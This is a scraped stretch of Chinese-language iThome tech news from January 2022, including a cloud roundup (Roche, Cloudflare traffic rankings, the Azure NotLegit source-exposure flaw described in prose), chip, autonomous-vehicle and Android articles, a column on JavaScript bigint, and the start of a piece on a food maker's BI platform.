src="https://s4.itho.me/sites/default/files/images/%E5%9C%96_%E7%BE%85%E6%B0%8F_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_%E7%BE%85%E6%B0%8F%E9%9B%86%E5%9C%98.jpg" style="width: 600px; height: 400px;" /></strong></strong></p> <p>醫藥大廠羅氏集團（Roche）宣布已遷移多批醫療工作負載上公有雲，要利用多項雲服務，確立臨床實驗的設計方向，並優化客製化醫療服務。針對腫瘤臨床實驗的設計方向，羅氏向全球超過30萬名癌症病患展開調查，蒐集了數十PB級的基因組資料，使用雲端儲存服務FSx for Lustre儲存基因組資料，並使用資料倉儲服務Redshift，來處理和獲得資料的洞察，持續拓展其癌症知識庫，再使用這些資訊確立研究方向，以及設計藥物臨床實驗，期望能加快辨識患者的病症，推進診斷和治療。</p> <p>除此之外，在推動數位醫療應用上，羅氏也利用了Lambda、EKS和SageMaker，儲存、處理和分析智慧型裝置應用蒐集的健康數據，以更準確地告知病患服藥時程與劑量，還有讓醫療單位能夠更即時地了解病患的病況，並擬定治療方案，實現客製化醫療。<a href="https://www.pfizer.com/news/press-release/press-release-detail/aws-helps-pfizer-accelerate-drug-development-and-clinical">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 網域流量 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 全球排名 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 抖音 </span></strong> </span></p> <p><span style="font-size: 22px;"><strong>2021年全球最熱門網域排行出爐，抖音海外版超越Google奪冠</strong></span></p> <p><span style="font-size: 22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%963_%E6%8A%96%E9%9F%B3_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_Cloudfare.JPG" style="width: 600px; height: 294px;" /></strong></span></p> <p>網路安全服務商Cloudfare日前發布了2021年全球網域流量報告，顯示抖音海外版已超越Google，成為全球最熱門的網域。Cloudfare利用自身處理10億個獨立IP位址的HTTP與DNS請求，來偵測全球網路的現象與趨勢，包括流量、瀏覽器、作業系統等，而根據數據顯示，Google一直是全球網路流量的龍頭，2020年抖音海外版僅排名第七，但2021年其單日流量不時超越Google，10月後，大多數日子的流量更都超過Google。抖音海外版從2020年的第七位，竄升到2021年的第一名，而其它前幾名的順序則沒有變動，第二名到第五名依序是Google、臉書、微軟及蘋果。<a href=" https://blog.cloudflare.com/popular-domains-year-in-review-2021/">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 微軟 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 雲端服務 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 資安漏洞 </span></strong></span> </p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong>Azure App服務藏NotLegit漏洞，會暴露用戶程式碼儲存庫</strong></span></strong></p> <p>雲端資安服務Wiz的研究團隊日前發現，雲端運算平臺Azure App中藏有一個不安全的預設行為，在特定情境下，會暴露用戶編寫的原始碼，並稱漏洞為NotLegit。Azure App能夠託管網站和網頁應用程式，支援用戶利用FTP、SSH，或從Git服務拉取程式碼，來部署應用程式。然而，Wiz發現當用戶使用本地端Git選項部署應用程式時，Azure App服務將會暴露以PHP、Python、Ruby或Node編寫的應用程式原始碼，且該漏洞從2017年9月就已經存在，可能已經被開採利用了。</p> <p>研究團隊提到，微軟會在公開目錄中的.git資料夾，添加一個web.config檔案，來限制存取公開目錄中的.git資料夾，但是PHP、Ruby、Python或Node開發的應用程式因部署在Apache、Nginx等網頁伺服器，而這些伺服器不處理web.config檔案，因此.git資料夾裡的資料便會暴露在外。</p> <p>受NotLegit影響的用例，包括2017年9月以來，使用Azure App服務中預設在應用程式使用本地端Git部署的PHP、Node、Ruby和Python應用程式，以及在應用程式容器中建立和修改文件後，使用任何Git來源部署到Azure App服務中的所有PHP、Node、Ruby和Python應用程式。微軟在Wiz發布漏洞研究報告後隔日，宣布已修復該漏洞。<a href=" https://blog.wiz.io/azure-app-service-source-code-leak/">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> Google雲端 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 零信任存取 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color: rgb(51, 153, 255);"> 政策疑難排除 </span></strong> </span></p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong>Google雲端零信任存取解決方案新增政策疑難排除工具，企業管理員可快速掌握封鎖存取事件</strong></span></strong></p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong><img alt="" src="https://s4.itho.me/sites/default/files/images/%E5%9C%96_Troubleshooting_%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90_Google%E9%9B%B2%E7%AB%AF.jpg" style="width: 600px; height: 738px;" /></strong></span></strong></p> <p>Google雲端的零信任存取解決方案BeyondCorp Enterprise，近日加入政策疑難排除功能，管理員可快速分類封鎖存取事件，並且為使用者解除封鎖。BeyondCorp Enterprise對用戶提供跨雲和跨裝置的應用程式安全存取，管理員能夠配置精細的規則，來管理敏感的企業資源存取，因此，管理員啟用政策疑難排除功能後，可替每個IAP資源存取被拒絕事件，即時產生故障排除URL，而被阻擋的用戶會看到該故障排除URL，可複製URL並傳送給管理員，讓管理員快速透過URL診斷問題所在，以解除封鎖。</p> <p>新功能提供管理員對整個存取事件的可視性，在疑難排除分析頁面中，管理員可以看到各種檢視圖，掌握所有相關政策和成員資格調查結果的匯總。另外，IAM政策檢視圖會顯示有效IAM綁定評估結果、權限授予情況，以及故障發生位置等資訊，同時，管理員還可以查看用戶和裝置的上下文資訊列表。<a href=" https://aws.amazon.com/tw/blogs/publicsector/announcing-second-aws-top-secret-region-extending-support-us-government-classified-missions/">（詳全文）</a></p> <p><strong>圖片來源／</strong><strong>The Home Depot、</strong><strong>NCC、AWS截圖、羅氏集團、Cloudfare截圖、Google雲端</strong></p> <p><strong><span style="background-color: rgb(51, 153, 255);"> <span style="color:#FFFFFF;">更多Cloud動態 </span> </span></strong></p> <p><strong>1.微軟釋出新一代對話理解客戶端函式庫，開發者可利用Azure對話語言理解服務訓練模型，並在應用程式加入高效能語言服務</strong><a href=" https://devblogs.microsoft.com/azure-sdk/introducing-the-next-generation-of-the-conversational-language-understanding-client-library/">（詳全文）</a></p> <p><strong>2.遊戲機大廠Sega歐洲S3儲存服務安全防護不足，致用戶資料及公司資產曝險</strong><a href=" https://vpnoverview.com/news/sega-europe-security-report/">（詳全文）</a></p> <p><strong>3.Google買下以色列資安新創Siemplify，準備整合其安全協調、自動化及回應技術到GCP基礎架構Chronicle安全服務</strong><a href=" https://cloud.google.com/blog/products/identity-security/raising-the-bar-in-security-operations">（詳全文）</a></p> <p><strong>資料來源：iThome整理，2022年1月</strong></p> </div></div></div>
2022/1/6 11:35作者黃郁芸https://www.ithome.com.tw/news/148726
英特爾向蘋果下戰帖：12代14核心的Core i9效能超越M1 Max
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.intc.com/news-events/press-releases/detail/1517/intel-engineers-fastest-mobile-processor-ever-with-12th-gen" target="_blank">英特爾（Intel）周二（1/4）發表</a>了28款12代的Intel Core行動處理器與22款桌面處理器，不過，外界的目光全都聚集在英特爾宣稱其H系列的行動處理器中的Intel Core i9-12900HK，是全球最快的行動處理器，不僅超越自家的Intel Core i9 11980HK，AMD的Ryzen 9 5900HX，也凌駕蘋果的Apple M1 Max。</p> <p>全新的第12代Intel Core H系列處理器是由 Intel Core i9-12900HK領銜，它藉由 Intel Thread Director硬體調度技術來調整效能核心（P-cores）與效率核心（E-cores），以進行任務最佳化及分配管理，使得該處理器改善了橫跨單執行緒與多執行緒應用程式的系統效能。</p> <p>第12代Intel Core H系列採用的是Intel 7晶片製造技術，該技術屬於10奈米製程的加強版，其中，Intel Core i9-12900HK的最高頻率為5 GHz，最多有14個核心（6個P-cores與8個E-cores）與20個執行緒；不僅標榜為全球最快的行動處理器，也號稱是全球最好的行動遊戲平臺，其遊戲效能比Intel Core i9-11980HK快上28%，且3D渲染能力更提昇了43%。</p> <p>此外，第12代Intel Core H系列同時支援DDR5/LPDDR5及DDR4/LPDDR4記憶體模組，時脈最高可達4800 MT/s；在沒有傳統Wi-Fi干預的狀態下，其專用高速通道的連接速度接近3倍；亦支援Thunderbolt 4。</p> <p>英特爾表示，第12代Intel Core H系列是專門替遊戲玩家、創作者及工程專家所設計的行動處理器，將讓筆電效能直逼桌機，搭配該系列的機種預計今年就會陸續問世。</p> <p>過去蘋果的Mac電腦都是採用英特爾處理器，但蘋果於2020年11月發表了自製的M1晶片供Mac系列使用，還準備於兩年內將Mac電腦的晶片自英特爾全數遷移至M1，然而，英特爾顯然想證明該公司輕易就能超越蘋果的晶片設計與製造能力，而在官方新聞稿中直接點名蘋果用於16吋MacBook Pro的M1 Max處理器。</p> <p><a href="https://edc.intel.com/content/www/us/en/products/performance/benchmarks/mobile/" target="_blank">根據英特爾內部的效能指標比較結果</a>，Intel Core i9-12900HK超越了Apple M1 Max，為全球最快也是效能最好的行動處理器。</p> <p>不過，美國媒體認為，英特爾的領先很可能只是一時的，很快就會再被蘋果於今年發表的M2超越。</p> </div></div></div>
2022/1/6 11:47作者陳曉莉https://www.ithome.com.tw/news/148737
Nvidia拓展自駕合作廠商，由Drive Hyperion 8駕駛的卡車將上路
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Nvidia推出最新的自駕車平臺Drive Hyperion 8，該公司在CES 2022中，<a href="https://blogs.nvidia.com/blog/2022/01/04/autonomous-era-ces-2022-drive-hyperion/">揭露更多該平臺的細節和合作對象</a>。最新一代的自駕車平臺，擁有12個先進的環繞攝影鏡頭、12個超音波裝置、9個雷達、3個內部感測攝影機，還有一個前置光達。</p> <p>官方提到，Drive Hyperion 8的冗餘架構設計提供足夠安全性，當一臺電腦或是感測器故障時，仍有另一個備用可以替補，確保自駕車輛能夠安全地抵達目的地。該系統已經被Polestar、NIO、Xpeng、Li Auto、R Auto和IM Motors等中國電動汽車公司採用。</p> <p>自駕計程車服務Cruise、Zoox和滴滴出行，以及Volvo、Navistar和Plus等卡車運輸服務，也都已經開始採用Drive Hyperion 8，此外，5家汽車供應商Desay、Flex、Quanta、Valeo和ZF，現在也都支援Drive Hyperion。</p> <p>無人卡車運輸公司TuSimple，也在CES 2022上特別宣布，將採用Drive Hyperion和DRIVE Orin系統單晶片打造無人卡車車隊，TuSimple提到，由於疫情使得消費者購物習慣改變，加速了網上購物的趨勢，卡車以及最後一哩路的運輸需求大增，依造當前趨勢預測，今年全球需要運輸的包裹會達1,700億個，2027年將會高達到2,800億個。</p> <p>而此時，全球正面臨卡車司機荒，司機數量嚴重短缺，TuSimple估計，在2028年美國將會需要16萬名司機，而TuSimple正在建立自動貨運網路，來滿足大量卡車運輸需求。</p> </div></div></div>
2022/1/6 09:57作者李建興https://www.ithome.com.tw/news/148727
Google擴充相容於Fast Pair的裝置，企圖整合Android生態體系
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>儘管Google因為COVID-19疫情的關係，而未能出席今年的CES 2022消費電子展，<a href="https://blog.google/products/android/ces2022-bettertogether/" target="_blank">然而Google仍透過官方部落格發表了今年對Android生態體系的期許與規畫</a>，打算藉由Fast Pair、Matter與超寬頻（Ultra-Wideband，UWB）等技術，整合Android生態體系，以及Android與Chromebook及Windows等其它平臺的互動，向蘋果生態體系看齊。</p> <p><a href="https://www.ithome.com.tw/news/117927" target="_blank">Google於2017年發表的Fast Pair為一透過低功耗藍牙（BLE）來掃描附近藍牙裝置的技術</a>，可快速讓Android手機與其它藍牙裝置配對，當時支援Fast Pair的只有少數的藍牙喇叭，但現在已有不少穿戴裝置、耳麥、喇叭、汽車、電視及智慧家庭裝置支援Fast Pair，由於它還會負責安裝與傳輸Google憑證，將允許使用者很快就能開始使用周邊的藍牙設備。</p> <p class="rtecenter"><img alt="" src="https://1.bp.blogspot.com/-Hfk1w_g_Wf4/WfeWsgYlyRI/AAAAAAAAEv0/wsUPm1BGZaMbBT2LNIKrb54RiC7XoAq0gCLcBGAs/s1600/image1.gif" style="width: 600px;" /></p> <p><span style="color:#696969;">圖片來源_Google</span></p> <p>Google持續擴大Fast Pair的影響力，幾周後當使用者開啟支援Fast Pair的耳麥後，就能自動被Chromebook偵測到，一鍵即可配對；而今年推出的Chromebook，也將支援以Android手機進行設定，直接利用Android手機來設定及驗證Chromebook上的Google登入資訊及Wi-Fi 密碼，簡化Chromebook的設定流程。</p> <p>由連結標準聯盟（Connectivity Standards Alliance，CSA）在今年5月發表的<a href="https://www.ithome.com.tw/news/144351" target="_blank">智慧家庭連網標準Matter</a>亦將派上用場。由於Android已內建對Matter的支援，意謂著Android用戶將可透過Fast Pair快速連結智慧家庭裝置。</p> <p class="rtecenter"><img alt="" src="https://storage.googleapis.com/gweb-uniblog-publish-prod/original_images/2._Fast_Pair_Matter-enabled_devices.gif" style="width: 560px;" /></p> <p><span style="color: rgb(105, 105, 105);">圖片來源_Google</span></p> <p>在解鎖方面，除了Android用戶已可利用手機來解鎖Chromebook之外，今年Googl將讓已配對的Wear OS智慧手錶來解鎖Chromebook、Android手機或Android平板電腦，或是以相容的三星或Pixel手機來解鎖BMW汽車。</p> <p>至於支援UWB的手機將可用來充當汽車的數位鑰匙，今年Google打算將此一數位鑰匙功能擴充到更多的Android手機與汽車品牌。</p> <p>此外，Google亦著手改善不同裝置之間的共享能力，正針對支援藍牙的耳機打造一項技術，令它們可自動將聲音切換到使用者正在收聽的任何設備，因此當使用者正戴著藍牙耳麥、觀賞於Android平板電腦上播放的電影時，若是Android手機響了，那麼耳麥就會自動切換至Android手機，掛斷電話之後再自動切回電影。</p> <p>Android手機與Chromebook之間的互動也將愈來愈密切，目前Chromebook用戶已可在該筆電上檢視與回應手機訊息，未來將能自Chromebook直接存取手機上的各種聊天程式，而且不必於Chromebook上安裝它們。</p> <p>今年Google還打算強化Android手機與Windows PC之間的連結，藉由Fast Pair快速設定藍牙設備，並透過Nearby Share同步文字簡訊與共享檔案，估計今年Acer、HP 與Intel就會聯手推出具備相關體驗的Windows PC。</p> </div></div></div>
2022/1/6 10:46作者陳曉莉https://www.ithome.com.tw/news/148728
Amazon Alexa、Cisco Webex獲選成為NASA太空船通訊技術
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Amazon Alexa、思科的Webex近日獲選成為美國太空總署（NASA）太空計畫中、運用於太空船上的通訊軟體。</p> <p><a href="https://www.nasa.gov/feature/callisto-technology-demonstration-to-fly-aboard-orion-for-artemis-i" target="_blank">NASA宣布和航太業者洛克希德馬丁（Lockheed Martin）簽訂一項太空合約</a>，開發名為Callisto的太空船測試酬載，後者將和Amazon與思科合作整合語音助理Alexa 和Webex影像協同產品，用於Artemis計畫太空船Orion第一次深太空飛行任務。</p> <p class="rtecenter"><img alt="" src="https://pbs.twimg.com/media/FIV8EWeXMAgNcay?format=jpg&name=large" style="width: 600px;" /></p> <p><span style="color:#696969;">圖片來源／Lockheed Martin</span></p> <p>Artemis是NASA國際合作太空探索計劃，目標是重返月球並建立長期研究據點，最終登陸火星。該計劃以希臘神話女神、太陽神Apollo的姐姐Artemis命名。而Callisto則是Artemis狩獵的侍從。Callisto是用於Orion無人探索計畫Artemis I，NASA希望透過這項計畫測試以後的載人任務中，太空人及飛行控制員如何使用人機介面技術提升任務安全與效率。</p> <p class="rtecenter"><img alt="" src="https://pbs.twimg.com/media/FILoqIEWQAIH9U5?format=jpg&name=large" style="width: 600px;" /></p> <p><span style="color: rgb(105, 105, 105);">圖片來源／NASA</span></p> <p>洛克希德馬丁、Amazon、思科三家公司合作的酬載，將以一塊平板形式設置於Orion太空船的中心控制臺上，將測試以Cisco Webex在太空船與休士頓NASA詹森太空中心之間傳送視訊，由Amazon Alexa語音助理回應由地球傳送來的聲音。</p> <p>NASA表示，Alexa是跑在雲端服務上，但是在深太空中，Orion上的Alexa若要連回地球上的雲端得花太久時間，因此Callisto計畫將使用NASA的深太空網路（Deep Space Network）和太空船上的本地資料中心與Alexa連線。由於是無人任務，因此在測試中，指揮中心操作員將詢問Alexa問題或聲控它執行特定指令，太空船上並設置相機及麥克風、喇叭，以播放聲音及錄製整個測試過程。</p> <p>至於Webex則負責連繫Orion控制臺上的平板、和休士頓指揮中心裏的Webex裝置及白板，測試未來太空人如何利用壓縮技術，利用深太空網路和休士頓指揮中心視訊協同。酬載硬體也經過強化以防止太空中的輻射傷害。</p> <p>隨著Artemis計畫進行，這套技術未來將由太空人先在地球上獨立操作，類似的技術也將用於環繞月球飛行、用於太空船起降輔助及補給等基地站Gateway，和未來的火星探索任務。例如太空人可聲控太空基地站的裝置，指示它照亮太空船內的特定區域。</p> <p>之後Orion將往返月球與地球展開數星期的研究任務。</p> </div></div></div>
2022/1/6 11:07作者林妍溱https://www.ithome.com.tw/news/148729
John Deere發表農用AI無人曳引機
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>老牌農業、林業機械製造商John Deere，在CES 2022上，發表了最新可大規模生產的<a href="http://jd-ces-2022.s3-website-us-east-1.amazonaws.com/media">無人曳引機（Tractor）</a>，該曳引機支援TruSet鑿犁、GPS導引系統等先進系統，官方尚未公布價格，但提到，無人曳引機會在今年稍晚正式上市。</p> <p>官方提到，2050年，全球人口將會從80億人成長到100億，全球糧食需求量將會增加50％，但是農民確必須要以更少的土地和人力，來種植出足夠的作物，而且農民的耕作還受到氣候、土壤和蟲害等影響。而John Deere開發的無人曳引機，能夠讓農民把握一年中，最關鍵種植時間，最大化生產力。</p> <p>雖然目前已經有一些曳引機能夠自動運作，但仍有不少限制，像是只能遵循GPS定義的路線運行，或是無法自動繞過障礙物，由於機器無法全自動運作，因此農民仍必須坐在曳引機上，適時地介入曳引機駕駛。</p> <p>John Deere新的無人曳引機有6對立體攝影鏡頭，可360度偵測障礙物，並且計算距離，攝影機擷取的圖像，會交由深度神經網路進行運算，該模型會在100毫秒內，對每個畫素進行分類，依據偵側到障礙物與否，來決定曳引機的行為。同時該曳引機還會不斷偵測地理柵欄的位置，確保只在預期的區域內運作，精確度可以小至1英吋。</p> <p>無人曳引機的使用很簡單，農民只需要將機器運送到田地，並且使用行動應用程式Operations Center Mobile，啟動自動操作即可，在無人曳引機運作時，農民可以離開田地執行其他任務，並透過行動裝置監控機器的狀態。Operations Center Mobile供使用者即時存取視訊、圖像、資料和指標，讓農民能夠調整耕作速度和深度，出現任何運作上的問題，或是機器出現狀況，用戶也會遠端收到通知，並且即時介入調整。</p> <p>John Deere目前尚未揭露無人曳引機的價格，但是外界猜測價格應該十分高昂，因為當前John Deere最昂貴的曳引機型號，價格已經高達80萬美元，官方也提到，目前他們正在研究幾種收費的可能，包括訂閱制。</p> <p>John Deere在多年前，就已經在其曳引機裝設大量感測器，並且開始收集和註解訓練模型所需要的資料，無人曳引機的推出，可說是這項工作開花結果，但同時無人曳引機又會提供John Deere更多的資料，而這或將進一步拉開與其他競爭者的距離。</p> </div></div></div>
2022/1/6 09:54作者李建興https://www.ithome.com.tw/news/148725
ES11的bigint
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>正式釋出的ES（ECMAScript）11中，多了bigint基本型態，用來解決JavaScript開發中對大整數的需求，許多文件都會談到：這個特性普及後，可免除透過第三方程式庫時下載與運行效率等方面的負擔。雖然免除第三方程式庫確實是相關的效益，然而，並不是完全正確的說法。</p> <p>理由在於「bigint是個基本型態」，一門語言在主要特性奠定，有了廣大使用者後，越是構築語言基礎的元素，除非有絕對充分的理由，否則越難對其變動或新增，這單純只是第三方程式庫相關問題，真的足以構成JavaScript增加一個基本型態的理由？</p> <p><span style="font-size:28px;"><strong>增加了基本型態？</strong></span></p> <p>可能有開發者會說，JavaScript增加基本型態奇怪嗎？之前不就增加了symbol嗎？增加symbol之目的，主要是為了讓過去隱式的物件協定，能有個正式、明確的做法，也就是說，物件協定的概念早就在過去JavaScript之中，只不過以前都模糊地、非正式地使用特定的名稱、借用了字串型態來表示。</p> <p>另一方面，雖然過去會使用字串來表示物件協定時的名稱，這類字串與其他基本型態結合運算的場合比較單純，大概就是搜尋、組合、剖析名稱這類需求，遇上這類需求時，可以透過symbol與字串間的轉換來銜接，相關的使用場景可以單純化。</p> <p>然而，bigint代表了大整數，在還沒有bigint前，JavaScript只有number，實現了IEEE 754標準64位元浮點數，也就是說，過去JavaScript並沒有真正的整數型態；另一方面，整數就是數字，而數字運算需求一直都有，新增的數字型態與既有的number型態，該怎麼互動，其實要考量的問題，遠比一些開發者想的要來得多而複雜。</p> <p><span style="font-size:28px;"><strong>number的整數問題</strong></span></p> <p>想瞭解JavaScript為何要增加bigint，首先就要知道number有什麼問題。的確開發者可以在JavaScript撰寫整數，但number骨子裡還是浮點數，IEEE 754標準的浮點數，分為符號（sign bit）、指數偏差（exponent bias）與分數（fraction），對於64位元浮點數，三部份佔的位元數，各是1、11與52個位元。</p> <p>也就是說，如果number只用來表示整數，位元組中可使用的範圍就是52個位元的分數部份，最大整數只能表示到2**53-1（253-1），也就是Number.MAX_SAFE_INTEGER的值9007199254740992，若以Java的long最大值9223372036854775807來比較，實在是少太多了，那麼，使用第三方程式庫來表示更大的整數，不就好了嗎？</p> <p>若面對的只是數字計算，實現大整數運算的第三方程式庫或許能解決，但問題往往不那麼單純。例如看看前後端資料傳遞的問題，許多文件常提的案例就是Twitter的64位元ID，或是高精度時間戳記，前後端溝通時，須以字串方式傳遞、轉換處理。</p> <p>另外，在面對WebAssembly、WebGL時，會有64位元整數的整合問題，例如，WebAssembly支援i64，若要與JavaScript互通，參數或傳回值就必須合法化（Legalization），參數部份要將i64改為兩個i32，分別表示64位元整數的高低位元組，i64傳回值的部份也必須想辦法拆成兩部份，對這些有興趣的話，可以進一步參考〈<a href="https://bit.ly/3ytxegU" target="_blank">WebAssembly integration with JavaScript BigInt</a>〉。</p> <p>另外，還要留意位元運算的問題，若對JavaScript的number進行位元運算，數字會被當成32位元整數，因此2**32-1>>0的最高位元是1，也就是2補數表示整數-1；簡單來說，問題並不只有大整數運算，有興趣可以進一步參考〈<a href="https://bit.ly/3IPJxce" target="_blank">Bigints (advanced)</a>〉。</p> <p><span style="font-size:28px;"><strong>bigint與number混合運算？</strong></span></p> <p>無論如何，bigint作為基本資料型態加入JavaScript是既成事實，若想知道使用方式，網路上已經有非常多的文件介紹了，然而，在觀看相關介紹時，我們可能會產生一些困惑，為什麼bigint與number如此格格不入？它們不都是基本型態的數字嗎？為什麼不能混合運算？為什麼會拋出TypeError？為什麼設計上不使用兩個型態，分別代表整數與浮點數呢？</p> <p>在bigint的提案中〈<a href="https://bit.ly/3DX6EOk" target="_blank">Design Goals</a>〉談到幾個影響設計決策的因素，第一就是在精度與使用者直覺間找平衡點，有人會說：「混合運算時拋出TypeError，不就顯然違反使用者直覺嗎？」是的，因為拉扯的點在於精度的考量！</p> <p>舉例來說，如果bigint與number可以混合運算，你覺得9007199254740993n+0.1應該是什麼型態？bigint？那麼，小數部份怎麼辦？number？那會有精度的問題，數學上的計算結果，應該是9007199254740993.1，然而，用number表示，結果會是9.007199254740994E15。</p> <p>有人說，反正開發者早就習慣面對IEEE 754精度問題了，他寧可用精度問題來換取直覺，而非拋出TypeError，問題是：你又要犧牲哪個方向的精度？</p> <p>其實，在bigint之外，<a href="https://bit.ly/3DVOrkq" target="_blank">有過另一個隱式整數的提案</a>，該提案將number作為Int與Double的父型態，如果撰寫整數實字就預設為Int，若撰寫浮點數就預設為Double，當中也定義了混合運算的規則，有些開發者認為這麼做更符合直覺，也可以解決大整數的問題。</p> <p>但該提案最大的問題是，抵觸〈<a href="https://bit.ly/3DX6EOk" target="_blank">Design Goals</a>〉中的幾個Don't break原則。</p> <p>例如，若採用該原則，9007199254740992+1結果要是9007199254740993，然而JavaScript沒有大整數方案前，結果一直都是9007199254740992，其他還有像是，基於現況實作位元運算的一些應用程式，也會遭到破壞掉等的問題。</p> <p>因此，結果就是bigint成為最終提案了。既然bigint無法與number混合運算，試圖這麼做會拋出TypeError，讓使用者自行決定該怎麼處理兩種型態的轉換問題。不過，這也衍生了幾個問題了，例如平方根2**0.5這種事無法用bigint做到，因為2n**0.5就是bigint與number混合運算了，當然也沒有2n**0.5n這種寫法，畢竟0.5是小數，Math上的函式接受的number，不能使用bigint。</p> <p>因此搭配bigint的程式庫還是必須存在的，無論是標準或是第三方，例如Math上一些函式，就必須有bigint的版本，事實上，就有個〈<a href="https://bit.ly/3DZ67M1" target="_blank">BigInt Math for JavaScript</a>〉被提案了。</p> <p><span style="font-size:28px;"><strong>規格書成形的過程</strong></span></p> <p>每當看到語言有個新特性時，無論是新API、新語法，除了看看一些入門的介紹與使用方式之外，我總是會想看看規格書提案或與其相關的討論，加入語言的特性越是基礎，越需要如此，從那些規格書提案或相關討論，可以不斷地思考加入的理由是什麼？既有的方案是什麼？社群的想法與反應？規格書考量了什麼？為什麼如此設計？</p> <p>JavaScript加入了bigint，我想到的第一件事是「這可是基本型態！」、「為什麼不是處理大數API規格書呢？」等問題，而從這個方向出發，我找到了許多有趣的文件與討論，除了bigint規格書與方才提及的隱式整數提案以外，bigint規格書的<a href="https://bit.ly/3IOFc9f" target="_blank">ISSUE#30</a>與<a href="https://bit.ly/3IKzS6Z" target="_blank">#36</a>，都值得看看！</p> <p>記住，加入越基礎的新特性，越需要更多的考量，而這些考量是絕對必須探討的，道理很簡單，在已蓋好的地基上搭建高樓了，現在卻要往地基裡加個什麼，聲稱其很重要，一定要有很好的理由才能這麼做吧！這麼做之後又要付出哪些代價？必須有哪些配套措施等，難道不值得好好思考一番嗎？</p> </div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Tags: </div><div class="field-items"><div class="field-item even"><a href="/tags/%E7%A8%8B%E5%BC%8F%E4%BA%BA">程式人</a></div><div class="field-item odd"><a href="/tags/%E6%9E%97%E4%BF%A1%E8%89%AF">林信良</a></div><div class="field-item even"><a href="/tags/%E7%A8%8B%E5%BC%8F%E5%AD%B8%E7%BF%92">程式學習</a></div><div class="field-item odd"><a href="/tags/es-11">ES 11</a></div><div class="field-item even"><a href="/tags/ecmascript-11">ECMAScript 11</a></div><div class="field-item odd"><a href="/tags/bigint">bigint</a></div><div class="field-item even"><a href="/tags/javascript">JavaScript</a></div><div class="field-item odd"><a href="/tags/%E5%A4%A7%E6%95%B4%E6%95%B8">大整數</a></div></div></div>
2022/1/6 07:00作者林信良https://www.ithome.com.tw/voice/148619
佳格建商業型IT多想一步成關鍵，靠BI掌握通路數據加快決策
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>5月中旬本土病例暴增，全國進入三級警戒，擔心疫情不便外出採購，大批民眾紛紛搶購民生用品，大賣場、超市貨架經常空無一物，賣場人員不停補貨，商品業者更得視銷售狀況，動態調整產線排程來追加生產商品。</p> <p>疫情搶購潮最猛烈的那幾日，食品大廠佳格食品（簡稱佳格）的業務團隊，每天晚上繃緊神經，盯著BI儀表板上，來自多家通路當日結算的銷況，快速掌握旗下桂格、福樂、得意的一天等知名品牌超過600項產品的銷售數據，盡快盤點產品庫存、原料生產狀況，果斷決定銷售暴漲態勢的因應作法，以第一時間通知工廠調整。</p> <p>這樣緊釘通路端每日實銷數據的日子，持續了好一段時間。業務團隊能夠掌握數百項產品，從燕麥片、奶粉、油品到保健飲品的每日實銷狀況，即時調度產線追加生產的關鍵，有賴資訊團隊從2020年底著手建置的BI平臺，從各大實體通路業者的銷售資料平臺，擷取出自家產品的每日銷售數據。</p> <p>佳格BI平臺適時發揮作用，讓業務端和產線端能從容地應對，搶購潮突發的銷量變化需求。這套系統背後的關鍵人物就是，佳格食品資訊處處長李俊明。</p> <p><span style="font-size:28px;"><strong>零售市場變化快速，須彙集跨通路產品實銷數據，即時回應市場動態</strong></span></p> <p>隨著虛實整合銷售模式，改變零售通路的銷售生態，再加上COVID-19影響消費者購物習慣，業者必須更快掌握產品實際銷售狀況，也就是實銷數據，才能即時回應市場動態。然而，這對35歲的佳格而言，卻是一大挑戰。</p> <p>佳格是老牌食品製造商，銷售策略也採傳統模式，大多仰賴實體零售通路和電商業者，也因此，只能透過通路，來掌握市場對產品的喜好程度，而不是直接掌握消費者購買的產品數量，因為手中沒有最新的產品實銷數據。</p> 